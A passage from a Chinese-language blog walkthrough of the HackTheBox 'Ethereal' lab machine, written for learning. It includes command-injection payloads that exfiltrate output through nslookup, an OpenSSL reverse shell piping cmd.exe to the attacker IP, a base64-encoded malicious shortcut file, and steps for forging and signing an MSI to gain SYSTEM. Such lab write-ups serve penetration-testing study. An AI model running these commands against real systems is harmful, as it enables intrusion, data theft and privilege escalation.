No.78-HackTheBox-windows-Ethereal-Walkthrough渗透学习

2023-12-30 11:50

本文主要是介绍No.78-HackTheBox-windows-Ethereal-Walkthrough渗透学习,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

**

HackTheBox-windows-Ethereal-Walkthrough

**

靶机地址:https://www.hackthebox.eu/home/machines/profile/157
靶机难度:中上级(6.5/10)
靶机发布日期:2019年2月30日
靶机描述:
Ethereal is an “insane” difficulty machine, which showcases how DNS can be used to exfiltrate information from a system, and is applicable to many externally facing applications. It also features a very restrictive environment, which is made more hospitable by the use of the OpenSSL “LOLBIN”. It highlights how malicious shortcut files can be used to move laterally and vertically within a system or network. Finally, it shows how an attacker would be able use trusted certificates to defeat a stringent application whitelisting configuration. Finally, it showcases techniques for creating and signing Windows Installer (MSI) files.

作者:大余
时间:2020-03-25
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.106…

Nmap可以看到FTP可匿名登陆,80和8080的IIS服务器都开放着…端口80显示了下面的登录页面以及目录…
先查看Ftp…一步一步来…
在这里插入图片描述
可以看到有很多信息…全部下载到kali查看…
在这里插入图片描述
命令:wget -r --no-passive ftp://10.10.10.106
全部下载完…
在这里插入图片描述
解压FDISK.zip和DISK1.zip文件…发现都是FAT系统磁盘文件…这里可以进行挂载查看下…
在这里插入图片描述
可以看到,成功挂载后,查看了三个系统内容,fdisk里面的信息可能有用…
在这里插入图片描述
可以看到这需要MS-DOS打开它…
在这里插入图片描述
https://sourceforge.net/projects/passwbox/postdownload下载即可…
在这里插入图片描述
apt install libncurses5
apt install libncurses5:i386
在这里插入图片描述
成功安装…可以看到只需要把文件复制到/root/.pbox.dat打开即可…
在这里插入图片描述
输入密码:password,很简单的默认密码…
在这里插入图片描述
成功进来后…
在这里插入图片描述
在这里插入图片描述
可以看到,进来后找到很多密码…记录下来…继续走下一步,80和8080页面…
在这里插入图片描述
在这里插入图片描述
到这个界面后,一个一个点下去…
在这里插入图片描述
这里发现了用户名:alan
发现ping页面需要添加域名操作…
在这里插入图片描述
添加完后访问需要登陆用户密码…密码前面已经pbox查看到了…
在这里插入图片描述
这里密码是:!C414m17y57r1k3s4g41n!
成功登陆…这里可以注入攻击…先用ping测试下…
在这里插入图片描述
输入本地IP进行ping测试即可…发现icmp回包了…可以注入
这里尝试绕过该命令并使用&或注入系统命令|…但是没效果…
直接在里面利用certutil下载nc提权也没用…
这里利用responder进行 :当网络上的设备尝试用LLMNR和NBT-NS请求来解析目的地机器时,Responder就会伪装成目的地机器。当受害者机器尝试登陆攻击者机器,responder就可以获取受害者机器用户的NTLMv2哈希值…走起
在这里插入图片描述
命令:responder -I tun0
在这里插入图片描述
命令:10.10.14.11 & for /F "tokens=1" %i in ('whoami') do nslookup %i 10.10.14.11
终于成功了…看到了etherealalan…
https://ss64.com/nt/for_f.html这是一个库,可以参考里面的命令进行查询注入即可…
在这里插入图片描述
可以看到目前的目录是c:\windows\system32\inetsrv…
在这里插入图片描述
命令:10.10.14.11 & for /F "tokens=1,2,3" %a in ('dir /B "C:\Users"') do nslookup %a.%b%c 10.10.14.11
可以看到这里有五个用户存在…继续收集信息…
在这里插入图片描述
注意到已经安装了OpenSSL…这里检查下防火墙状态,因为前面试过提权上传不上去…估计是杀死了
命令:| netsh advfirewall firewall show rule name=all | findstr "Rule Name:" | findstr "Allow" > C:\Users\Public\Desktop\Shortcuts\dayufirewall.txt
这里把防火墙规则的信息放入了dayufirewall.txt…这里查看是否存在该文件…
在这里插入图片描述
命令:10.10.14.11 & for /F "tokens=1,2,3" %a in ('dir /B "C:\Users\Public\Desktop\Shortcuts"') do nslookup %a.%b.%c 10.10.14.11
这里在目录下看到已经存在了…这里需要看看防火墙规则是怎么样了…好找到一个可以突破点…读取该文件…
在这里插入图片描述
命令:10.10.14.11 & for /F "tokens=1,2,3,4,5,6,7" %a in ('type C:\Users\Public\Desktop\Shortcuts\dayufirewall.txt') do nslookup %a.%b.%c.%d.%e.%f.%g 10.10.14.11
可以看到仅允许TCP连接到port 73和136上…因为windows上安装了openssl,这里就利用openssl进行提权…
这里利用SSL/TLS server…
这里先确定下openssl.exe的位置…
在这里插入图片描述
命令:10.10.14.11 & for /F "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)\OpenSSL-v1.1.0"') do nslookup %a.%b.%c 10.10.14.11
可以看到位置位于C:\Program Files (x86)\OpenSSL-v1.1.0\bin\openssl.exe…
开始…
在这里插入图片描述
命令:openssl req -x509 -newkey rsa:4096 -keyout key.pem -out certificate.pem -days 365 -nodes
为了创建服务器,这里利用openssl生成了证书…
在这里插入图片描述
命令:openssl s_server -quiet -key key.pem -cert cert.pem -port 73
命令:| C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.11:73 | cmd.exe | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.11:73
可以看到利用openssl通过73端口进入了服务器中…
在这里插入图片描述
这里遇到了点问题,无法寻找到数据包…输入任何都没反应…
我就把命令通过PING通道注入,发现需要指定IP,一进一出才能正常读取数据…
在这里插入图片描述
可以了,现在数据包正常一进一出了…
在这里插入图片描述
命令:127.0.0.1 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.11:73 | dir C:\users\alan\Desktop | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.11:136
这里查询alan桌面存在个文件…查询看看
在这里插入图片描述
命令:type C:\users\alan\Desktop\note-draft.txt
说Public的桌面上有很多东西,盒子上的其他用户正在使用它,可以删除和写入…去看看
在这里插入图片描述
命令:dir C:\users\Public\Desktop\Shortcuts
可以看到存在.lnk文件…这里可以写入木马…提权试试
在这里插入图片描述
这里利用LNKUp
在这里插入图片描述
记得pip install -r requirements.txt…下载他的依赖文件…
在这里插入图片描述
命令:python generate.py --host localhost --type ntlm --output out.lnk --execute "shutdown /s"
我这里还是使用了python,因为python3的pylnk.py依赖报错…
在这里插入图片描述
这里还是担心防火墙,就通过更保险方式base64值写入进去…
命令:127.0.0.1 | echo | set /p="TAAAAAEUAgAAAAAAwAAAAAAAAEZhAAAAAAAAAIBMhoStAtYBgEyGhK0C1gGATIaErQLWAQAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAOcAFAAfUOBP0CDqOmkQotgIACswMJ0ZAC9DOlwAAAAAAAAAAAAAAAAAAAAAAAAAPAAxAAAAAAB5UHVPEABXaW5kb3dzACYAAwAEAO++eVB1T3lQdU8UAAAAVwBpAG4AZABvAHcAcwAAABYAQAAxAAAAAAB5UHVPEABTeXN0ZW0zMgAAKAADAAQA7755UHVPeVB1TxQAAABTAHkAcwB0AGUAbQAzADIAAAAYADwAMgAAKgQAeVB1TxAAY21kLmV4ZQAmAAMABADvvnlQdU95UHVPFAAAAGMAbQBkAC4AZQB4AGUAAAAWAAAAtQAvYyBDOlxQcm9ncmF+MlxPcGVuU1NMLXYxLjEuMFxiaW5cb3BlbnNzbC5leGUgc19jbGllbnQgLXF1aWV0IC1jb25uZWN0IDEwLjEwLjE0LjExOjczIHwgY21kLmV4ZSB8IEM6XFByb2dyYX4yXE9wZW5TU0wtdjEuMS4wXGJpblxvcGVuc3NsLmV4ZSBzX2NsaWVudCAtcXVpZXQgLWNvbm5lY3QgMTAuMTAuMTQuMTE6MTM2GgBcXGxvY2FsaG9zdFxTaGFyZVw1OTczLmljbwAAAAA=" > C:\users\Public\Desktop\Shortcuts\link.txt
在这里插入图片描述
可以看到,已经成功写入…在这里插入图片描述
命令:127.0.0.1 & C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -A -d -in "C:\users\Public\Desktop\Shortcuts\link.txt" -out "C:\users\Public\Desktop\Shortcuts\Visual Studio 2017.lnk"
可以看到成功同步了…这就不用那么麻烦了…并且获得了user信息…
在这里插入图片描述
在这里插入图片描述
命令:fsutil fsinfo drives
这里还存在D盘,…进入D盘,查看到存在note.txt文件,看信息:
意思是创建一个恶意的msi文件并将它放进来进行提权,还需要获取证书以对msi进行签名…这里要查找签名证书…
在这里插入图片描述
在certs下查看到签名证书…需要放到本地…

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我利用base64读取出来,经过复制解码,然后转换成原先的证书…
这里要创建msi需要使用到wixtool进行构建即可…
在这里插入图片描述
https://blog.xpnsec.com/becoming-system/
利用这里的代码即可…
在这里插入图片描述
把这里代码换成简单的cmd提权即可…
在这里插入图片描述
命令:cmd.exe /c "C:\users\public\desktop\shortcuts\alha.lnk"
然后将mv dayu.txt msi.xml即可…
下载WiX Toolset v3.11.2…
在这里插入图片描述
下载第一个即可…在这里插入图片描述
将dayuxi修改为msi.xm…然后打开powershell…
在这里插入图片描述
删除行即可…我这里重新在来了,目录太长,我在C盘下创建文件夹操作…
在这里插入图片描述
命令:

 .\candle.exe C:\Ethereal\msi.xml -out C:\Ethereal\wixobj.\light.exe C:\Ethereal\wixobj -out C:\Ethereal\alha.msi

这里使用wix3112rtm下载文件里的candle.exe对wixtools创建wixobject文件,然后将从wixobject中继续创建msi文件…
在这里插入图片描述
这里许需要下载windows 10 SDK或者windwos 10 KIts 中的工具来对靶机的msi进行签名,首先将使用makecert.exe从中获得的原始证书创建新证书即可…下载地址:https://developer.microsoft.com/en-US/windows/downloads/windows-10-sdk/
在这里插入图片描述
在这里插入图片描述
命令:.\makecert.exe -n "CN=Ethereal" -pe -cy end -ic C:\Ethereal\MyCA.cer -iv C:\Ethereal\MyCA.pvk -sky signature -sv C:\Ethereal\alha.pvk C:\Ethereal\alha.cer
这里要求输入密码,我将其保留为空白,不提供密码保护,后面签名就能无密码登陆…
在这里插入图片描述
命令:

.\pvk2pfx.exe -pvk C:\Ethereal\alha.pvk -spc C:\Ethereal\alha.cer -pfx C:\Ethereal\alha.pfx
.\signtool.exe sign /f C:\Ethereal\alha.pfx C:\Ethereal\alha.msi

用pvk2pfx.exe为ce​​r和pvk文件创建pfx…
最后将使用signtool.exepfx对msi进行签名即可…
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
命令:127.0.0.1 | "C:\Program Files (x86)\OpenSSL-v1.1.0\bin\openssl.exe" s_client -quiet -connect 10.10.14.2:136 > "C:\Users\Public\Desktop\Shortcuts\alha.msi"
将与之前上传lnk文件相同的方式上传msi即可,并且还需要确保lnk文件在c:\users\public\desktop\shortcuts\内,因为msi只是在执行该lnk文件…最后将把msi放入到D:\DEV\MSIs内即可…

在这里插入图片描述
命令:127.0.0.1 & C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -A -d -in "C:\users\Public\Desktop\Shortcuts\link.txt" -out "C:\users\Public\Desktop\Shortcuts\Visual Studio 2017.lnk"
重新在获得一次即可…这里等待了6分钟左右才出现的…
在这里插入图片描述
可以看到成功获得root信息…太难了!!!!
这是我做的最难的一次了…

正如作者说的一样,这是一台疯狂的靶机…
它展示了如何使用DNS来从系统中窃取信息,并且适用于许多面向外部的应用程序,它还具有非常严格的环境,通过使用OpenSSL LOLBIN使它变得更加难…它重点介绍了如何使用恶意快捷方式文件在系统或网络中横向和纵向移动,而且它显示了攻击者如何能够使用受信任的证书来破坏严格的应用程序白名单配置…最后它展示了用于创建和签名Windows Installer(MSI)文件的技术…

这台靶机是我新工作出差第一次过夜,在机房里完成的…坚持加油把!!!

由于我们已经成功得到root权限查看user.txt和root.txt,因此完成这台疯狂的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

这篇关于No.78-HackTheBox-windows-Ethereal-Walkthrough渗透学习的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/552753

相关文章

Windows环境下解决Matplotlib中文字体显示问题的详细教程

《Windows环境下解决Matplotlib中文字体显示问题的详细教程》本文详细介绍了在Windows下解决Matplotlib中文显示问题的方法,包括安装字体、更新缓存、配置文件设置及编码調整,并... 目录引言问题分析解决方案详解1. 检查系统已安装字体2. 手动添加中文字体(以SimHei为例)步骤

基于Python开发Windows屏幕控制工具

《基于Python开发Windows屏幕控制工具》在数字化办公时代,屏幕管理已成为提升工作效率和保护眼睛健康的重要环节,本文将分享一个基于Python和PySide6开发的Windows屏幕控制工具,... 目录概述功能亮点界面展示实现步骤详解1. 环境准备2. 亮度控制模块3. 息屏功能实现4. 息屏时间

在Windows上使用qemu安装ubuntu24.04服务器的详细指南

《在Windows上使用qemu安装ubuntu24.04服务器的详细指南》本文介绍了在Windows上使用QEMU安装Ubuntu24.04的全流程:安装QEMU、准备ISO镜像、创建虚拟磁盘、配置... 目录1. 安装QEMU环境2. 准备Ubuntu 24.04镜像3. 启动QEMU安装Ubuntu4

Windows下C++使用SQLitede的操作过程

《Windows下C++使用SQLitede的操作过程》本文介绍了Windows下C++使用SQLite的安装配置、CppSQLite库封装优势、核心功能(如数据库连接、事务管理)、跨平台支持及性能优... 目录Windows下C++使用SQLite1、安装2、代码示例CppSQLite:C++轻松操作SQ

基于Python实现一个Windows Tree命令工具

《基于Python实现一个WindowsTree命令工具》今天想要在Windows平台的CMD命令终端窗口中使用像Linux下的tree命令,打印一下目录结构层级树,然而还真有tree命令,但是发现... 目录引言实现代码使用说明可用选项示例用法功能特点添加到环境变量方法一:创建批处理文件并添加到PATH1

Windows的CMD窗口如何查看并杀死nginx进程

《Windows的CMD窗口如何查看并杀死nginx进程》:本文主要介绍Windows的CMD窗口如何查看并杀死nginx进程问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地... 目录Windows的CMD窗口查看并杀死nginx进程开启nginx查看nginx进程停止nginx服务

Go学习记录之runtime包深入解析

《Go学习记录之runtime包深入解析》Go语言runtime包管理运行时环境,涵盖goroutine调度、内存分配、垃圾回收、类型信息等核心功能,:本文主要介绍Go学习记录之runtime包的... 目录前言:一、runtime包内容学习1、作用:① Goroutine和并发控制:② 垃圾回收:③ 栈和

Android学习总结之Java和kotlin区别超详细分析

《Android学习总结之Java和kotlin区别超详细分析》Java和Kotlin都是用于Android开发的编程语言,它们各自具有独特的特点和优势,:本文主要介绍Android学习总结之Ja... 目录一、空安全机制真题 1:Kotlin 如何解决 Java 的 NullPointerExceptio

Windows 系统下 Nginx 的配置步骤详解

《Windows系统下Nginx的配置步骤详解》Nginx是一款功能强大的软件,在互联网领域有广泛应用,简单来说,它就像一个聪明的交通指挥员,能让网站运行得更高效、更稳定,:本文主要介绍W... 目录一、为什么要用 Nginx二、Windows 系统下 Nginx 的配置步骤1. 下载 Nginx2. 解压

windows系统上如何进行maven安装和配置方式

《windows系统上如何进行maven安装和配置方式》:本文主要介绍windows系统上如何进行maven安装和配置方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不... 目录1. Maven 简介2. maven的下载与安装2.1 下载 Maven2.2 Maven安装2.